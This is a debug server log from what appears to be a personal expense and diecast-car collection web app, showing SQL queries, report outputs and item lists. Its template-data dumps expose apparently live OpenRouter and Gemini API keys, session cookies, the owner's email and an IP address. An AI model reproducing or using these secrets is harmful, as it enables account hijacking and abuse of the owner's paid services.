  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T12:03:10.286Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T12:03:12.311Z server-connect:router Serving templateView /diecast-reports
2026-02-04T12:03:12.311Z server-connect:app Executing action step identify
2026-02-04T12:03:12.311Z server-connect:app options: { provider: 'security' }
2026-02-04T12:03:12.311Z server-connect:output identity: 1
2026-02-04T12:03:12.311Z server-connect:app Executing action step restrict
2026-02-04T12:03:12.311Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T12:03:12.312Z server-connect:output restrict: undefined
2026-02-04T12:03:12.312Z server-connect:router Render template diecast-reports
2026-02-04T12:03:12.312Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-05T07:13:28.308Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-reports',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-reports',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast-reports',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T12:03:12.587Z server-connect:router Serving serverConnect /api/reports/diecast/by-series
2026-02-04T12:03:12.587Z server-connect:app Executing action step identify
2026-02-04T12:03:12.587Z server-connect:app options: { provider: 'security' }
2026-02-04T12:03:12.587Z server-connect:output identity: 1
2026-02-04T12:03:12.587Z server-connect:app Executing action step restrict
2026-02-04T12:03:12.587Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T12:03:12.588Z server-connect:output restrict: undefined
2026-02-04T12:03:12.588Z server-connect:app Executing action step custom
2026-02-04T12:03:12.588Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.series,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.series\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.series, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-02-04T12:03:12.590Z server-connect:output list: [
  { series: 106, name: 'HW Peak Pursuit', total: 6 },
  { series: 176, name: 'HW Silver Series', total: 6 },
  { series: 195, name: 'Majorette Castheads Gift Set', total: 5 },
  { series: 171, name: 'Majorette Dream Italy Gift Set', total: 5 },
  { series: 107, name: 'HW EV', total: 5 },
  { series: 172, name: 'Majorette Light Racer Gift Set', total: 5 },
  { series: 173, name: 'Majorette Porsche Edition Gift Set', total: 5 },
  {
    series: 174,
    name: 'Majorette Limited Edition 9 Gift Set',
    total: 5
  },
  { series: 101, name: 'HW Then and now', total: 5 },
  { series: 193, name: 'Majorette Black Edition Gift Set', total: 5 },
  { series: 194, name: 'Majorette Mercedes AMG Gift Set', total: 5 },
  { series: 102, name: 'HW Wagons', total: 4 },
  { series: 97, name: 'HW Hot Trucks', total: 4 },
  { series: 96, name: 'HW Muscle Mania', total: 4 },
  { series: 95, name: 'HW Race day', total: 4 },
  { series: 94, name: 'HW Dirt', total: 4 },
  { series: 150, name: 'HW Reverse Rake', total: 3 },
  { series: 149, name: 'HW Compact Kings', total: 3 },
  { series: 92, name: 'Fantasy', total: 3 },
  { series: 145, name: 'HW Factory Fresh', total: 3 },
  { series: 103, name: 'HW Modified', total: 3 },
  { series: 147, name: 'HW Mustang 60th', total: 2 },
  { series: 98, name: 'HW Celebration Racers', total: 2 },
  { series: 99, name: 'HW 70s vs 90s', total: 2 },
  { series: 100, name: 'HW Track Champs', total: 2 },
  { series: 105, name: 'HW Art Cars', total: 2 },
  { series: 170, name: 'HW Exotics', total: 2 },
  { series: 83, name: 'Moving Parts', total: 2 },
  { series: 151, name: 'HW Rod Squad', total: 2 },
  { series: 159, name: 'HW Fan Driver', total: 1 },
  { series: 146, name: 'HW Track Aces', total: 1 },
  { series: 148, name: 'HW Wild Widebody', total: 1 },
  { series: 181, name: 'HW Pop Culture', total: 1 },
  { series: 180, name: 'HW Pantone', total: 1 },
  { series: 179, name: 'HW Euro', total: 1 },
  { series: 178, name: 'HW Ride-Ons', total: 1 },
  { series: 162, name: 'Neon Speeders - Mix 2', total: 1 },
  { series: 104, name: 'HW Wide Widebody', total: 1 },
  { series: 160, name: "HW Truckin' Along", total: 1 },
  { series: 144, name: 'HW Safari Mode', total: 1 },
  { series: 161, name: 'HW Batman', total: 1 },
  { series: 166, name: 'HW Experimotors', total: 1 },
  { series: 165, name: 'HW Metro', total: 1 },
  { series: 164, name: 'HW Nightspeed', total: 1 },
  { series: 163, name: 'HW Starting Grid', total: 1 }
]
2026-02-04T12:03:19.764Z server-connect:router Serving serverConnect /api/reports/diecast/by-manufacturer
2026-02-04T12:03:19.765Z server-connect:app Executing action step identify
2026-02-04T12:03:19.765Z server-connect:app options: { provider: 'security' }
2026-02-04T12:03:19.765Z server-connect:output identity: 1
2026-02-04T12:03:19.765Z server-connect:app Executing action step restrict
2026-02-04T12:03:19.765Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T12:03:19.766Z server-connect:output restrict: undefined
2026-02-04T12:03:19.766Z server-connect:app Executing action step custom
2026-02-04T12:03:19.766Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.brand_id,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.brand_id\n' +
      'GROUP BY dc.brand_id, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-02-04T12:03:19.767Z server-connect:output list: [
  { brand_id: 71, name: 'Hotwheels', total: 84 },
  { brand_id: 72, name: 'Majorette', total: 46 },
  { brand_id: 73, name: 'Matchbox', total: 30 },
  { brand_id: 158, name: 'CCA', total: 3 },
  { brand_id: 74, name: 'Bburago', total: 1 },
  { brand_id: 191, name: 'Jams Toys', total: 1 }
]
2026-02-04T12:03:30.912Z server-connect:router Serving templateView /diecast-reports
2026-02-04T12:03:30.912Z server-connect:app Executing action step identify
2026-02-04T12:03:30.912Z server-connect:app options: { provider: 'security' }
2026-02-04T12:03:30.912Z server-connect:output identity: 1
2026-02-04T12:03:30.912Z server-connect:app Executing action step restrict
2026-02-04T12:03:30.912Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T12:03:30.913Z server-connect:output restrict: undefined
2026-02-04T12:03:30.913Z server-connect:router Render template layouts/main
2026-02-04T12:03:30.913Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-05T07:13:28.308Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-reports',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-reports',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast-reports'
}
2026-02-04T12:03:31.503Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T12:03:31.504Z server-connect:router Serving serverConnect /api/reports/diecast/by-series
2026-02-04T12:03:31.504Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T12:03:31.504Z server-connect:app Executing action step identify
2026-02-04T12:03:31.504Z server-connect:app options: { provider: 'security' }
2026-02-04T12:03:31.504Z server-connect:output identity: 1
2026-02-04T12:03:31.504Z server-connect:app Executing action step restrict
2026-02-04T12:03:31.504Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T12:03:31.505Z server-connect:app Executing action step identify
2026-02-04T12:03:31.505Z server-connect:app options: { provider: 'security' }
2026-02-04T12:03:31.505Z server-connect:output identity: 1
2026-02-04T12:03:31.505Z server-connect:app Executing action step restrict
2026-02-04T12:03:31.505Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T12:03:31.505Z server-connect:app Executing action step identify
2026-02-04T12:03:31.505Z server-connect:app options: { provider: 'security' }
2026-02-04T12:03:31.506Z server-connect:output identity: 1
2026-02-04T12:03:31.506Z server-connect:app Executing action step restrict
2026-02-04T12:03:31.506Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T12:03:31.506Z server-connect:output restrict: undefined
2026-02-04T12:03:31.506Z server-connect:app Executing action step custom
2026-02-04T12:03:31.506Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.series,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.series\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.series, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-02-04T12:03:31.506Z server-connect:output restrict: undefined
2026-02-04T12:03:31.506Z server-connect:app Executing action step select
2026-02-04T12:03:31.506Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T12:03:31.506Z server-connect:output restrict: undefined
2026-02-04T12:03:31.506Z server-connect:app Executing action step single
2026-02-04T12:03:31.506Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T12:03:31.507Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T12:03:31.507Z server-connect:output list: [
  { series: 106, name: 'HW Peak Pursuit', total: 6 },
  { series: 176, name: 'HW Silver Series', total: 6 },
  { series: 195, name: 'Majorette Castheads Gift Set', total: 5 },
  { series: 171, name: 'Majorette Dream Italy Gift Set', total: 5 },
  { series: 107, name: 'HW EV', total: 5 },
  { series: 172, name: 'Majorette Light Racer Gift Set', total: 5 },
  { series: 173, name: 'Majorette Porsche Edition Gift Set', total: 5 },
  {
    series: 174,
    name: 'Majorette Limited Edition 9 Gift Set',
    total: 5
  },
  { series: 101, name: 'HW Then and now', total: 5 },
  { series: 193, name: 'Majorette Black Edition Gift Set', total: 5 },
  { series: 194, name: 'Majorette Mercedes AMG Gift Set', total: 5 },
  { series: 102, name: 'HW Wagons', total: 4 },
  { series: 97, name: 'HW Hot Trucks', total: 4 },
  { series: 96, name: 'HW Muscle Mania', total: 4 },
  { series: 95, name: 'HW Race day', total: 4 },
  { series: 94, name: 'HW Dirt', total: 4 },
  { series: 150, name: 'HW Reverse Rake', total: 3 },
  { series: 149, name: 'HW Compact Kings', total: 3 },
  { series: 92, name: 'Fantasy', total: 3 },
  { series: 145, name: 'HW Factory Fresh', total: 3 },
  { series: 103, name: 'HW Modified', total: 3 },
  { series: 147, name: 'HW Mustang 60th', total: 2 },
  { series: 98, name: 'HW Celebration Racers', total: 2 },
  { series: 99, name: 'HW 70s vs 90s', total: 2 },
  { series: 100, name: 'HW Track Champs', total: 2 },
  { series: 105, name: 'HW Art Cars', total: 2 },
  { series: 170, name: 'HW Exotics', total: 2 },
  { series: 83, name: 'Moving Parts', total: 2 },
  { series: 151, name: 'HW Rod Squad', total: 2 },
  { series: 159, name: 'HW Fan Driver', total: 1 },
  { series: 146, name: 'HW Track Aces', total: 1 },
  { series: 148, name: 'HW Wild Widebody', total: 1 },
  { series: 181, name: 'HW Pop Culture', total: 1 },
  { series: 180, name: 'HW Pantone', total: 1 },
  { series: 179, name: 'HW Euro', total: 1 },
  { series: 178, name: 'HW Ride-Ons', total: 1 },
  { series: 162, name: 'Neon Speeders - Mix 2', total: 1 },
  { series: 104, name: 'HW Wide Widebody', total: 1 },
  { series: 160, name: "HW Truckin' Along", total: 1 },
  { series: 144, name: 'HW Safari Mode', total: 1 },
  { series: 161, name: 'HW Batman', total: 1 },
  { series: 166, name: 'HW Experimotors', total: 1 },
  { series: 165, name: 'HW Metro', total: 1 },
  { series: 164, name: 'HW Nightspeed', total: 1 },
  { series: 163, name: 'HW Starting Grid', total: 1 }
]
2026-02-04T12:03:31.508Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
